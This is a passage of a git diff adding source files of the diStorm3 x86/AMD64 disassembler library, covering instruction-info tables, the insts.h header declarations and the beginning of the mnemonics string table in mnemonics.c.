+ { 46, 0, 16, 8, 0, 0, 0 }, + { 56, 0, 16, 8, 0, 0, 0 }, + { 46, 0, 16, 8, 64, 0, 0 }, + { 57, 0, 39, 8, 0, 0, 0 }, + { 52, 0, 28, 8, 0, 0, 0 }, + { 59, 0, 16, 8, 0, 0, 0 }, + { 56, 0, 42, 8, 0, 0, 0 }, + { 55, 0, 0, 112, 0, 0, 0 }, + { 55, 0, 0, 8, 0, 0, 0 }, + { 13, 0, 0, 24, 0, 0, 0 }, + { 56, 0, 58, 120, 0, 0, 0 }, + { 55, 0, 0, 120, 0, 0, 0 }, + { 55, 0, 58, 120, 0, 0, 0 }, + { 55, 60, 58, 120, 0, 0, 0 }, + { 60, 0, 0, 8, 0, 0, 0 }, + { 56, 0, 42, 96, 0, 0, 0 }, + { 61, 67, 64, 104, 0, 0, 0 }, + { 61, 67, 64, 96, 0, 0, 0 }, + { 35, 73, 68, 40, 0, 0, 0 }, + { 35, 73, 68, 48, 0, 0, 0 }, + { 35, 71, 68, 40, 0, 0, 0 }, + { 35, 72, 68, 48, 0, 0, 0 }, + { 62, 90, 83, 128, 0, 0, 0 }, + { 63, 81, 68, 128, 0, 0, 0 }, + { 64, 44, 68, 128, 0, 0, 0 }, + { 64, 46, 68, 128, 0, 0, 0 }, + { 35, 68, 73, 40, 0, 0, 0 }, + { 35, 68, 73, 48, 0, 0, 0 }, + { 35, 68, 71, 40, 0, 0, 0 }, + { 35, 68, 72, 48, 0, 0, 0 }, + { 62, 83, 90, 128, 0, 0, 0 }, + { 64, 68, 44, 128, 0, 0, 0 }, + { 64, 68, 46, 128, 0, 0, 0 }, + { 65, 72, 68, 40, 0, 0, 0 }, + { 35, 46, 68, 48, 0, 0, 0 }, + { 35, 72, 68, 56, 0, 0, 0 }, + { 66, 81, 68, 128, 0, 0, 0 }, + { 67, 81, 68, 128, 0, 0, 0 }, + { 62, 89, 83, 128, 0, 0, 0 }, + { 35, 68, 46, 40, 0, 0, 0 }, + { 35, 68, 46, 48, 0, 0, 0 }, + { 62, 68, 46, 128, 0, 0, 0 }, + { 34, 73, 68, 40, 0, 0, 0 }, + { 34, 73, 68, 48, 0, 0, 0 }, + { 67, 88, 83, 128, 0, 0, 0 }, + { 35, 73, 68, 56, 0, 0, 0 }, + { 56, 0, 42, 40, 0, 0, 0 }, + { 34, 67, 68, 40, 0, 0, 0 }, + { 34, 67, 68, 48, 0, 0, 0 }, + { 42, 18, 68, 40, 0, 0, 0 }, + { 42, 18, 68, 48, 0, 0, 0 }, + { 35, 68, 47, 40, 0, 0, 0 }, + { 35, 68, 47, 48, 0, 0, 0 }, + { 35, 68, 44, 88, 0, 0, 0 }, + { 35, 68, 46, 88, 0, 0, 0 }, + { 62, 83, 92, 128, 0, 0, 0 }, + { 34, 72, 64, 40, 0, 0, 0 }, + { 34, 73, 64, 48, 0, 0, 0 }, + { 42, 71, 13, 40, 0, 0, 0 }, + { 42, 72, 13, 48, 0, 0, 0 }, + { 62, 80, 78, 128, 0, 0, 0 }, + { 34, 71, 68, 40, 69, 0, 0 }, + { 34, 72, 68, 48, 0, 0, 0 }, + { 62, 71, 68, 128, 0, 0, 0 }, + { 62, 72, 68, 128, 0, 0, 0 }, + { 68, 69, 12, 40, 0, 0, 0 }, + { 68, 69, 12, 48, 0, 0, 0 }, + { 69, 83, 13, 128, 0, 0, 0 }, + { 34, 71, 68, 40, 0, 0, 0 }, + { 34, 71, 68, 48, 0, 0, 0 }, + { 62, 91, 83, 128, 0, 0, 0 }, + { 62, 90, 68, 128, 0, 0, 0 }, + { 34, 66, 64, 32, 0, 0, 0 }, + { 34, 67, 64, 32, 0, 0, 0 }, + { 70, 18, 64, 32, 0, 0, 0 }, + { 70, 18, 68, 48, 0, 0, 0 }, + { 62, 79, 68, 128, 0, 0, 0 }, + { 35, 67, 64, 32, 0, 0, 0 }, + { 71, 67, 64, 40, 0, 0, 0 }, + { 71, 73, 68, 48, 0, 0, 0 }, + { 67, 73, 68, 128, 0, 0, 0 }, + { 32, 0, 0, 32, 0, 0, 0 }, + { 72, 0, 0, 128, 0, 0, 0 }, + { 73, 13, 18, 112, 0, 0, 0 }, + { 74, 7, 69, 88, 0, 0, 0 }, + { 75, 69, 68, 88, 0, 0, 0 }, + { 73, 18, 13, 112, 0, 0, 0 }, + { 34, 69, 68, 88, 0, 0, 0 }, + { 76, 69, 68, 88, 0, 0, 0 }, + { 32, 72, 68, 112, 0, 0, 0 }, + { 32, 68, 72, 112, 0, 0, 0 }, + { 34, 73, 68, 56, 0, 0, 0 }, + { 70, 64, 18, 32, 0, 0, 0 }, + { 70, 68, 18, 48, 0, 0, 0 }, + { 62, 68, 79, 128, 0, 0, 0 }, + { 35, 64, 67, 32, 0, 0, 0 }, + { 77, 0, 42, 8, 0, 0, 0 }, + { 78, 0, 43, 8, 0, 0, 0 }, + { 79, 0, 43, 8, 0, 0, 0 }, + { 80, 17, 11, 80, 64, 0, 0 }, + { 81, 1, 17, 8, 1, 0, 244 }, + { 49, 1, 17, 8, 1, 0, 244 }, + { 34, 17, 11, 8, 64, 0, 245 }, + { 82, 17, 11, 112, 0, 0, 0 }, + { 83, 17, 11, 8, 65, 0, 180 }, + { 84, 73, 68, 40, 0, 0, 0 }, + { 84, 73, 68, 48, 0, 0, 0 }, + { 84, 71, 68, 40, 0, 0, 0 }, + { 84, 72, 68, 48, 0, 0, 0 }, + { 85, 88, 83, 128, 0, 0, 0 }, + { 85, 81, 68, 128, 0, 0, 0 }, + { 71, 25, 64, 40, 0, 0, 0 }, + { 71, 25, 68, 48, 0, 0, 0 }, + { 86, 81, 68, 128, 0, 0, 0 }, + { 87, 65, 12, 40, 0, 0, 0 }, + { 71, 69, 12, 48, 0, 0, 0 }, + { 88, 68, 13, 128, 0, 0, 0 }, + { 71, 73, 68, 40, 0, 0, 0 }, + { 86, 88, 83, 128, 0, 0, 0 }, + { 89, 0, 48, 8, 64, 0, 0 }, + { 56, 0, 46, 112, 0, 0, 0 }, + { 68, 65, 68, 48, 0, 0, 0 }, + { 68, 69, 64, 48, 0, 0, 0 }, + { 62, 68, 72, 128, 0, 0, 0 }, + { 76, 65, 12, 40, 0, 0, 0 }, + { 76, 69, 12, 48, 0, 0, 0 }, + { 69, 68, 13, 128, 0, 0, 0 }, + { 34, 67, 64, 40, 0, 0, 0 }, + { 35, 64, 46, 40, 0, 0, 0 }, + { 34, 42, 68, 56, 0, 0, 0 }, + { 62, 92, 83, 128, 0, 0, 0 }, + { 34, 67, 64, 48, 0, 0, 0 }, + { 76, 65, 64, 40, 0, 0, 0 }, + { 76, 69, 68, 48, 0, 0, 0 }, + { 90, 69, 68, 128, 0, 0, 0 }, + { 51, 0, 42, 16, 0, 0, 0 }, + { 91, 0, 42, 16, 0, 0, 0 }, + { 91, 0, 20, 16, 0, 0, 0 }, + { 92, 0, 0, 16, 0, 0, 0 }, + { 93, 0, 34, 16, 0, 0, 0 }, + { 94, 0, 34, 16, 0, 0, 0 }, + { 34, 67, 64, 64, 0, 0, 0 }, + { 34, 73, 68, 64, 0, 0, 0 }, + { 71, 73, 68, 72, 0, 0, 0 }, + { 34, 73, 68, 80, 0, 0, 0 }, + { 62, 44, 83, 128, 0, 0, 0 }, + { 62, 46, 85, 128, 0, 0, 0 }, + { 62, 47, 85, 128, 0, 0, 0 }, + { 62, 73, 68, 128, 0, 0, 0 }, + { 34, 72, 68, 72, 0, 0, 0 }, + { 34, 71, 68, 72, 0, 0, 0 }, + { 34, 70, 68, 72, 0, 0, 0 }, + { 62, 70, 68, 128, 0, 0, 0 }, + { 34, 73, 68, 72, 0, 0, 0 }, + { 35, 47, 68, 72, 0, 0, 0 }, + { 62, 47, 68, 128, 0, 0, 0 }, + { 67, 88, 92, 128, 0, 0, 0 }, + { 73, 47, 13, 112, 0, 0, 0 }, + { 67, 88, 83, 136, 0, 0, 0 }, + { 67, 81, 68, 136, 0, 0, 0 }, + { 34, 73, 68, 152, 0, 0, 0 }, + { 62, 73, 68, 152, 0, 0, 0 }, + { 67, 81, 68, 152, 0, 0, 0 }, + { 35, 17, 11, 8, 0, 0, 0 }, + { 35, 15, 13, 80, 0, 0, 0 }, + { 35, 11, 17, 8, 0, 0, 0 }, + { 35, 17, 13, 80, 0, 0, 0 }, + { 67, 90, 83, 128, 0, 0, 0 }, + { 86, 87, 85, 128, 0, 0, 0 }, + { 71, 71, 68, 72, 0, 0, 0 }, + { 71, 72, 68, 72, 0, 0, 0 }, + { 71, 67, 64, 64, 0, 0, 0 }, + { 71, 73, 68, 64, 0, 0, 0 }, + { 71, 68, 26, 72, 0, 0, 0 }, + { 88, 68, 76, 128, 0, 0, 0 }, + { 71, 68, 27, 72, 0, 0, 0 }, + { 88, 68, 77, 128, 0, 0, 0 }, + { 95, 68, 18, 72, 0, 0, 0 }, + { 67, 68, 79, 128, 0, 0, 0 }, + { 71, 68, 18, 72, 0, 0, 0 }, + { 67, 68, 75, 128, 0, 0, 0 }, + { 67, 85, 73, 128, 0, 0, 0 }, + { 71, 24, 68, 72, 0, 0, 0 }, + { 95, 18, 68, 72, 0, 0, 0 }, + { 71, 73, 68, 144, 0, 0, 0 }, + { 86, 81, 68, 144, 0, 0, 0 }, + { 71, 73, 68, 80, 0, 0, 0 }, + { 71, 73, 68, 152, 0, 0, 0 }, + { 67, 73, 68, 152, 0, 0, 0 }, + { 96, 1, 65, 32, 0, 0, 0 }, + { 56, 1, 69, 48, 0, 0, 0 }, + { 97, 69, 81, 128, 0, 0, 0 }, + { 98, 0, 13, 112, 0, 0, 0 }, + { 64, 0, 44, 128, 0, 0, 0 }, + { 56, 0, 42, 112, 0, 0, 0 }, + { 99, 75, 13, 8, 0, 0, 0 }, + { 98, 0, 17, 8, 0, 0, 0 }, + { 100, 67, 64, 96, 0, 0, 0 } +}; + +uint16_t CmpMnemonicOffsets[8] = { + 0, 9, 18, 27, 39, 49, 59, 69 +}; +uint16_t VCmpMnemonicOffsets[32] = { + 0, 10, 20, 30, 43, 54, 65, 76, 87, 100, 111, 122, 135, 149, 159, 169, 181, 194, 207, 220, 235, 249, 263, 277, 290, 303, 317, 331, 347, 361, 374, 387 +}; diff --git a/source/distorm/insts.h b/source/distorm/insts.h new file mode 100644 index 0000000..946cacd --- /dev/null +++ b/source/distorm/insts.h @@ -0,0 +1,64 @@ +/* +insts.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef INSTS_H +#define INSTS_H + +#include "instructions.h" + + +/* Flags Table */ +extern _iflags FlagsTable[]; + +/* Root Trie DB */ +extern _InstSharedInfo InstSharedInfoTable[]; +extern _InstInfo InstInfos[]; +extern _InstInfoEx InstInfosEx[]; +extern _InstNode InstructionsTree[]; + +/* 3DNow! Trie DB */ +extern _InstNode Table_0F_0F; +/* AVX related: */ +extern _InstNode Table_0F, Table_0F_38, Table_0F_3A; + +/* + * The inst_lookup will return on of these two instructions according to the specified decoding mode. + * ARPL or MOVSXD on 64 bits is one byte instruction at index 0x63. + */ +extern _InstInfo II_MOVSXD; + +/* + * The NOP instruction can be prefixed by REX in 64bits, therefore we have to decide in runtime whether it's an XCHG or NOP instruction. + * If 0x90 is prefixed by a usable REX it will become XCHG, otherwise it will become a NOP. + * Also note that if it's prefixed by 0xf3, it becomes a Pause. + */ +extern _InstInfo II_NOP; +extern _InstInfo II_PAUSE; + +/* + * RDRAND and VMPTRLD share same 2.3 bytes opcode, and then alternates on the MOD bits, + * RDRAND is OT_FULL_REG while VMPTRLD is OT_MEM, and there's no such mixed type. + * So a hack into the inst_lookup was added for this decision, the DB isn't flexible enough. :( + */ +extern _InstInfo II_RDRAND; + +/* + * Used for letting the extract operand know the type of operands without knowing the + * instruction itself yet, because of the way those instructions work. + * See function instructions.c!inst_lookup_3dnow. + */ +extern _InstInfo II_3DNOW; + +/* Helper tables for pseudo compare mnemonics. */ +extern uint16_t CmpMnemonicOffsets[8]; /* SSE */ +extern uint16_t VCmpMnemonicOffsets[32]; /* AVX */ + +#endif /* INSTS_H */ diff --git a/source/distorm/mnemonics.c b/source/distorm/mnemonics.c new file mode 100644 index 0000000..3ade426 --- /dev/null +++ b/source/distorm/mnemonics.c @@ -0,0 +1,284 @@ +/* +mnemonics.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "distorm/mnemonics.h" + +#ifndef DISTORM_LIGHT + +const unsigned char _MNEMONICS[] = +"\x09" "UNDEFINED\0" "\x03" "ADD\0" "\x04" "PUSH\0" "\x03" "POP\0" "\x02" "OR\0" \ +"\x03" "ADC\0" "\x03" "SBB\0" "\x03" "AND\0" "\x03" "DAA\0" "\x03" "SUB\0" \ +"\x03" "DAS\0" "\x03" "XOR\0" "\x03" "AAA\0" "\x03" "CMP\0" "\x03" "AAS\0" \ +"\x03" "INC\0" "\x03" "DEC\0" "\x05" "PUSHA\0" "\x04" "POPA\0" "\x05" "BOUND\0" \ +"\x04" "ARPL\0" "\x04" "IMUL\0" "\x03" "INS\0" "\x04" "OUTS\0" "\x02" "JO\0" \ +"\x03" "JNO\0" "\x02" "JB\0" "\x03" "JAE\0" "\x02" "JZ\0" "\x03" "JNZ\0" "\x03" "JBE\0" \ +"\x02" "JA\0" "\x02" "JS\0" "\x03" "JNS\0" "\x02" "JP\0" "\x03" "JNP\0" "\x02" "JL\0" \ +"\x03" "JGE\0" "\x03" "JLE\0" "\x02" "JG\0" "\x04" "TEST\0" "\x04" "XCHG\0" \ +"\x03" "MOV\0" "\x03" "LEA\0" "\x03" "CBW\0" "\x04" "CWDE\0" "\x04" "CDQE\0" \ +"\x03" "CWD\0" "\x03" "CDQ\0" "\x03" "CQO\0" "\x08" "CALL FAR\0" "\x05" "PUSHF\0" \ +"\x04" "POPF\0" "\x04" "SAHF\0" "\x04" "LAHF\0" "\x04" "MOVS\0" "\x04" "CMPS\0" \ +"\x04" "STOS\0" "\x04" "LODS\0" "\x04" "SCAS\0" "\x03" "RET\0" "\x03" "LES\0" \ +"\x03" "LDS\0" "\x05" "ENTER\0" "\x05" "LEAVE\0" "\x04" "RETF\0" "\x05" "INT 3\0" \ +"\x03" "INT\0" "\x04" "INTO\0" "\x04" "IRET\0" "\x03" "AAM\0" "\x03" "AAD\0" \ +"\x04" "SALC\0" "\x04" "XLAT\0" "\x06" "LOOPNZ\0" "\x05" "LOOPZ\0" "\x04" "LOOP\0" \ +"\x04" "JCXZ\0" "\x05" "JECXZ\0" "\x05" "JRCXZ\0" "\x02" "IN\0" "\x03" "OUT\0" \ +"\x04" "CALL\0" "\x03" "JMP\0" "\x07" "JMP FAR\0" "\x04" "INT1\0" "\x03" "HLT\0" \ +"\x03" "CMC\0" "\x03" "CLC\0" "\x03" "STC\0" "\x03" "CLI\0" "\x03" "STI\0" \ +"\x03" "CLD\0" "\x03" "STD\0" "\x03" "LAR\0" "\x03" "LSL\0" "\x07" "SYSCALL\0" \ +"\x04" "CLTS\0" "\x06" "SYSRET\0" "\x04" "INVD\0" "\x06" "WBINVD\0" "\x03" "UD2\0" \ +"\x05" "FEMMS\0" "\x03" "NOP\0" "\x05" "WRMSR\0" "\x05" "RDTSC\0" "\x05" "RDMSR\0" \ +"\x05" "RDPMC\0" "\x08" "SYSENTER\0" "\x07" "SYSEXIT\0" "\x06" "GETSEC\0" "\x05" "CMOVO\0" \ +"\x06" "CMOVNO\0" "\x05" "CMOVB\0" "\x06" "CMOVAE\0" "\x05" "CMOVZ\0" "\x06" "CMOVNZ\0" \ +"\x06" "CMOVBE\0" "\x05" "CMOVA\0" "\x05" "CMOVS\0" "\x06" "CMOVNS\0" "\x05" "CMOVP\0" \ +"\x06" "CMOVNP\0" "\x05" "CMOVL\0" "\x06" "CMOVGE\0" "\x06" "CMOVLE\0" "\x05" "CMOVG\0" \ +"\x04" "SETO\0" "\x05" "SETNO\0" "\x04" "SETB\0" "\x05" "SETAE\0" "\x04" "SETZ\0" \ +"\x05" "SETNZ\0" "\x05" "SETBE\0" "\x04" "SETA\0" "\x04" "SETS\0" "\x05" "SETNS\0" \ +"\x04" "SETP\0" "\x05" "SETNP\0" "\x04" "SETL\0" "\x05" "SETGE\0" "\x05" "SETLE\0" \ +"\x04" "SETG\0" "\x05" "CPUID\0" "\x02" "BT\0" "\x04" "SHLD\0" "\x03" "RSM\0" \ +"\x03" "BTS\0" "\x04" "SHRD\0" "\x07" "CMPXCHG\0" "\x03" "LSS\0" "\x03" "BTR\0" \ +"\x03" "LFS\0" "\x03" "LGS\0" "\x05" "MOVZX\0" "\x03" "BTC\0" "\x05" "MOVSX\0" \ +"\x04" "XADD\0" "\x06" "MOVNTI\0" "\x05" "BSWAP\0" "\x03" "ROL\0" "\x03" "ROR\0" \ +"\x03" "RCL\0" "\x03" "RCR\0" "\x03" "SHL\0" "\x03" "SHR\0" "\x03" "SAL\0" \ +"\x03" "SAR\0" "\x06" "XABORT\0" "\x06" "XBEGIN\0" "\x04" "FADD\0" "\x04" "FMUL\0" \ +"\x04" "FCOM\0" "\x05" "FCOMP\0" "\x04" "FSUB\0" "\x05" "FSUBR\0" "\x04" "FDIV\0" \ +"\x05" "FDIVR\0" "\x03" "FLD\0" "\x03" "FST\0" "\x04" "FSTP\0" "\x06" "FLDENV\0" \ +"\x05" "FLDCW\0" "\x04" "FXCH\0" "\x04" "FNOP\0" "\x04" "FCHS\0" "\x04" "FABS\0" \ +"\x04" "FTST\0" "\x04" "FXAM\0" "\x04" "FLD1\0" "\x06" "FLDL2T\0" "\x06" "FLDL2E\0" \ +"\x05" "FLDPI\0" "\x06" "FLDLG2\0" "\x06" "FLDLN2\0" "\x04" "FLDZ\0" "\x05" "F2XM1\0" \ +"\x05" "FYL2X\0" "\x05" "FPTAN\0" "\x06" "FPATAN\0" "\x07" "FXTRACT\0" "\x06" "FPREM1\0" \ +"\x07" "FDECSTP\0" "\x07" "FINCSTP\0" "\x05" "FPREM\0" "\x07" "FYL2XP1\0" "\x05" "FSQRT\0" \ +"\x07" "FSINCOS\0" "\x07" "FRNDINT\0" "\x06" "FSCALE\0" "\x04" "FSIN\0" "\x04" "FCOS\0" \ +"\x05" "FIADD\0" "\x05" "FIMUL\0" "\x05" "FICOM\0" "\x06" "FICOMP\0" "\x05" "FISUB\0" \ +"\x06" "FISUBR\0" "\x05" "FIDIV\0" "\x06" "FIDIVR\0" "\x06" "FCMOVB\0" "\x06" "FCMOVE\0" \ +"\x07" "FCMOVBE\0" "\x06" "FCMOVU\0" "\x07" "FUCOMPP\0" "\x04" "FILD\0" "\x06" "FISTTP\0" \ +"\x04" "FIST\0" "\x05" "FISTP\0" "\x07" "FCMOVNB\0" "\x07" "FCMOVNE\0" "\x08" "FCMOVNBE\0" \ +"\x07" "FCMOVNU\0" "\x04" "FENI\0" "\x06" "FEDISI\0" "\x06" "FSETPM\0" "\x06" "FUCOMI\0" \ +"\x05" "FCOMI\0" "\x06" "FRSTOR\0" "\x05" "FFREE\0" "\x05" "FUCOM\0" "\x06" "FUCOMP\0" \ +"\x05" "FADDP\0" "\x05" "FMULP\0" "\x06" "FCOMPP\0" "\x06" "FSUBRP\0" "\x05" "FSUBP\0" \ +"\x06" "FDIVRP\0" "\x05" "FDIVP\0" "\x04" "FBLD\0" "\x05" "FBSTP\0" "\x07" "FUCOMIP\0" \ +"\x06" "FCOMIP\0" "\x03" "NOT\0" "\x03" "NEG\0" "\x03" "MUL\0" "\x03" "DIV\0" \ +"\x04" "IDIV\0" "\x04" "SLDT\0" "\x03" "STR\0" "\x04" "LLDT\0" "\x03" "LTR\0" \ +"\x04" "VERR\0" "\x04" "VERW\0" "\x04" "SGDT\0" "\x04" "SIDT\0" "\x04" "LGDT\0" \ +"\x04" "LIDT\0" "\x04" "SMSW\0" "\x04" "LMSW\0" "\x06" "INVLPG\0" "\x06" "VMCALL\0" \ +"\x08" "VMLAUNCH\0" "\x08" "VMRESUME\0" "\x06" "VMXOFF\0" "\x07" "MONITOR\0" \ +"\x05" "MWAIT\0" "\x06" "XGETBV\0" "\x06" "XSETBV\0" "\x06" "VMFUNC\0" "\x04" "XEND\0" \ +"\x05" "VMRUN\0" "\x07" "VMMCALL\0" "\x06" "VMLOAD\0" "\x06" "VMSAVE\0" "\x04" "STGI\0" \ +"\x04" "CLGI\0" "\x06" "SKINIT\0" "\x07" "INVLPGA\0" "\x06" "SWAPGS\0" "\x06" "RDTSCP\0" \ +"\x08" "PREFETCH\0" "\x09" "PREFETCHW\0" "\x05" "PI2FW\0" "\x05" "PI2FD\0" \ +"\x05" "PF2IW\0" "\x05" "PF2ID\0" "\x06" "PFNACC\0" "\x07" "PFPNACC\0" "\x07" "PFCMPGE\0" \ +"\x05" "PFMIN\0" "\x05" "PFRCP\0" "\x07" "PFRSQRT\0" "\x05" "PFSUB\0" "\x05" "PFADD\0" \ +"\x07" "PFCMPGT\0" "\x05" "PFMAX\0" "\x08" "PFRCPIT1\0" "\x08" "PFRSQIT1\0" \ +"\x06" "PFSUBR\0" "\x05" "PFACC\0" "\x07" "PFCMPEQ\0" "\x05" "PFMUL\0" "\x08" "PFRCPIT2\0" \ +"\x07" "PMULHRW\0" "\x06" "PSWAPD\0" "\x07" "PAVGUSB\0" "\x06" "MOVUPS\0" "\x06" "MOVUPD\0" \ +"\x05" "MOVSS\0" "\x05" "MOVSD\0" "\x07" "VMOVUPS\0" "\x07" "VMOVUPD\0" "\x06" "VMOVSS\0" \ +"\x06" "VMOVSD\0" "\x07" "MOVHLPS\0" "\x06" "MOVLPS\0" "\x06" "MOVLPD\0" "\x08" "MOVSLDUP\0" \ +"\x07" "MOVDDUP\0" "\x08" "VMOVHLPS\0" "\x07" "VMOVLPS\0" "\x07" "VMOVLPD\0" \ +"\x09" "VMOVSLDUP\0" "\x08" "VMOVDDUP\0" "\x08" "UNPCKLPS\0" "\x08" "UNPCKLPD\0" \ +"\x09" "VUNPCKLPS\0" "\x09" "VUNPCKLPD\0" "\x08" "UNPCKHPS\0" "\x08" "UNPCKHPD\0" \ +"\x09" "VUNPCKHPS\0" "\x09" "VUNPCKHPD\0" "\x07" "MOVLHPS\0" "\x06" "MOVHPS\0" \ +"\x06" "MOVHPD\0" "\x08" "MOVSHDUP\0" "\x08" "VMOVLHPS\0" "\x07" "VMOVHPS\0" \ +"\x07" "VMOVHPD\0" "\x09" "VMOVSHDUP\0" "\x0b" "PREFETCHNTA\0" "\x0a" "PREFETCHT0\0" \ +"\x0a" "PREFETCHT1\0" "\x0a" "PREFETCHT2\0" "\x06" "MOVAPS\0" "\x06" "MOVAPD\0" \ +"\x07" "VMOVAPS\0" "\x07" "VMOVAPD\0" "\x08" "CVTPI2PS\0" "\x08" "CVTPI2PD\0" \ +"\x08" "CVTSI2SS\0" "\x08" "CVTSI2SD\0" "\x09" "VCVTSI2SS\0" "\x09" "VCVTSI2SD\0" \ +"\x07" "MOVNTPS\0" "\x07" "MOVNTPD\0" "\x07" "MOVNTSS\0" "\x07" "MOVNTSD\0" \ +"\x08" "VMOVNTPS\0" "\x08" "VMOVNTPD\0" "\x09" "CVTTPS2PI\0" "\x09" "CVTTPD2PI\0" \ +"\x09" "CVTTSS2SI\0" "\x09" "CVTTSD2SI\0" "\x0a" "VCVTTSS2SI\0" "\x0a" "VCVTTSD2SI\0" \ +"\x08" "CVTPS2PI\0" "\x08" "CVTPD2PI\0" "\x08" "CVTSS2SI\0" "\x08" "CVTSD2SI\0" \ +"\x09" "VCVTSS2SI\0" "\x09" "VCVTSD2SI\0" "\x07" "UCOMISS\0" "\x07" "UCOMISD\0" \ +"\x08" "VUCOMISS\0" "\x08" "VUCOMISD\0" "\x06" "COMISS\0" "\x06" "COMISD\0" \ +"\x07" "VCOMISS\0" "\x07" "VCOMISD\0" "\x08" "MOVMSKPS\0" "\x08" "MOVMSKPD\0" \ +"\x09" "VMOVMSKPS\0" "\x09" "VMOVMSKPD\0" "\x06" "SQRTPS\0" "\x06" "SQRTPD\0" \ +"\x06" "SQRTSS\0" "\x06" "SQRTSD\0" "\x07" "VSQRTPS\0" "\x07" "VSQRTPD\0" "\x07" "VSQRTSS\0" \ +"\x07" "VSQRTSD\0" "\x07" "RSQRTPS\0" "\x07" "RSQRTSS\0" "\x08" "VRSQRTPS\0" \ +"\x08" "VRSQRTSS\0" "\x05" "RCPPS\0" "\x05" "RCPSS\0" "\x06" "VRCPPS\0" "\x06" "VRCPSS\0" \ +"\x05" "ANDPS\0" "\x05" "ANDPD\0" "\x06" "VANDPS\0" "\x06" "VANDPD\0" "\x06" "ANDNPS\0" \ +"\x06" "ANDNPD\0" "\x07" "VANDNPS\0" "\x07" "VANDNPD\0" "\x04" "ORPS\0" "\x04" "ORPD\0" \ +"\x05" "VORPS\0" "\x05" "VORPD\0" "\x05" "XORPS\0" "\x05" "XORPD\0" "\x06" "VXORPS\0" \ +"\x06" "VXORPD\0" "\x05" "ADDPS\0" "\x05" "ADDPD\0" "\x05" "ADDSS\0" "\x05" "ADDSD\0" \ +"\x06" "VADDPS\0" "\x06" "VADDPD\0" "\x06" "VADDSS\0" "\x06" "VADDSD\0" "\x05" "MULPS\0" \ +"\x05" "MULPD\0" "\x05" "MULSS\0" "\x05" "MULSD\0" "\x06" "VMULPS\0" "\x06" "VMULPD\0" \ +"\x06" "VMULSS\0" "\x06" "VMULSD\0" "\x08" "CVTPS2PD\0" "\x08" "CVTPD2PS\0" \ +"\x08" "CVTSS2SD\0" "\x08" "CVTSD2SS\0" "\x09" "VCVTPS2PD\0" "\x09" "VCVTPD2PS\0" \ +"\x09" "VCVTSS2SD\0" "\x09" "VCVTSD2SS\0" "\x08" "CVTDQ2PS\0" "\x08" "CVTPS2DQ\0" \ +"\x09" "CVTTPS2DQ\0" "\x09" "VCVTDQ2PS\0" "\x09" "VCVTPS2DQ\0" "\x0a" "VCVTTPS2DQ\0" \ +"\x05" "SUBPS\0" "\x05" "SUBPD\0" "\x05" "SUBSS\0" "\x05" "SUBSD\0" "\x06" "VSUBPS\0" \ +"\x06" "VSUBPD\0" "\x06" "VSUBSS\0" "\x06" "VSUBSD\0" "\x05" "MINPS\0" "\x05" "MINPD\0" \ +"\x05" "MINSS\0" "\x05" "MINSD\0" "\x06" "VMINPS\0" "\x06" "VMINPD\0" "\x06" "VMINSS\0" \ +"\x06" "VMINSD\0" "\x05" "DIVPS\0" "\x05" "DIVPD\0" "\x05" "DIVSS\0" "\x05" "DIVSD\0" \ +"\x06" "VDIVPS\0" "\x06" "VDIVPD\0" "\x06" "VDIVSS\0" "\x06" "VDIVSD\0" "\x05" "MAXPS\0" \ +"\x05" "MAXPD\0" "\x05" "MAXSS\0" "\x05" "MAXSD\0" "\x06" "VMAXPS\0" "\x06" "VMAXPD\0" \ +"\x06" "VMAXSS\0" "\x06" "VMAXSD\0" "\x09" "PUNPCKLBW\0" "\x0a" "VPUNPCKLBW\0" \ +"\x09" "PUNPCKLWD\0" "\x0a" "VPUNPCKLWD\0" "\x09" "PUNPCKLDQ\0" "\x0a" "VPUNPCKLDQ\0" \ +"\x08" "PACKSSWB\0" "\x09" "VPACKSSWB\0" "\x07" "PCMPGTB\0" "\x08" "VPCMPGTB\0" \ +"\x07" "PCMPGTW\0" "\x08" "VPCMPGTW\0" "\x07" "PCMPGTD\0" "\x08" "VPCMPGTD\0" \ +"\x08" "PACKUSWB\0" "\x09" "VPACKUSWB\0" "\x09" "PUNPCKHBW\0" "\x0a" "VPUNPCKHBW\0" \ +"\x09" "PUNPCKHWD\0" "\x0a" "VPUNPCKHWD\0" "\x09" "PUNPCKHDQ\0" "\x0a" "VPUNPCKHDQ\0" \ +"\x08" "PACKSSDW\0" "\x09" "VPACKSSDW\0" "\x0a" "PUNPCKLQDQ\0" "\x0b" "VPUNPCKLQDQ\0" \ +"\x0a" "PUNPCKHQDQ\0" "\x0b" "VPUNPCKHQDQ\0" "\x04" "MOVD\0" "\x04" "MOVQ\0" \ +"\x05" "VMOVD\0" "\x05" "VMOVQ\0" "\x06" "MOVDQA\0" "\x06" "MOVDQU\0" "\x07" "VMOVDQA\0" \ +"\x07" "VMOVDQU\0" "\x06" "PSHUFW\0" "\x06" "PSHUFD\0" "\x07" "PSHUFHW\0" "\x07" "PSHUFLW\0" \ +"\x07" "VPSHUFD\0" "\x08" "VPSHUFHW\0" "\x08" "VPSHUFLW\0" "\x07" "PCMPEQB\0" \ +"\x08" "VPCMPEQB\0" "\x07" "PCMPEQW\0" "\x08" "VPCMPEQW\0" "\x07" "PCMPEQD\0" \ +"\x08" "VPCMPEQD\0" "\x04" "EMMS\0" "\x0a" "VZEROUPPER\0" "\x08" "VZEROALL\0" \ +"\x06" "VMREAD\0" "\x05" "EXTRQ\0" "\x07" "INSERTQ\0" "\x07" "VMWRITE\0" "\x08" "CVTPH2PS\0" \ +"\x08" "CVTPS2PH\0" "\x06" "HADDPD\0" "\x06" "HADDPS\0" "\x07" "VHADDPD\0" \ +"\x07" "VHADDPS\0" "\x06" "HSUBPD\0" "\x06" "HSUBPS\0" "\x07" "VHSUBPD\0" "\x07" "VHSUBPS\0" \ +"\x05" "XSAVE\0" "\x07" "XSAVE64\0" "\x06" "LFENCE\0" "\x06" "XRSTOR\0" "\x08" "XRSTOR64\0" \ +"\x06" "MFENCE\0" "\x08" "XSAVEOPT\0" "\x0a" "XSAVEOPT64\0" "\x06" "SFENCE\0" \ +"\x07" "CLFLUSH\0" "\x06" "POPCNT\0" "\x03" "BSF\0" "\x05" "TZCNT\0" "\x03" "BSR\0" \ 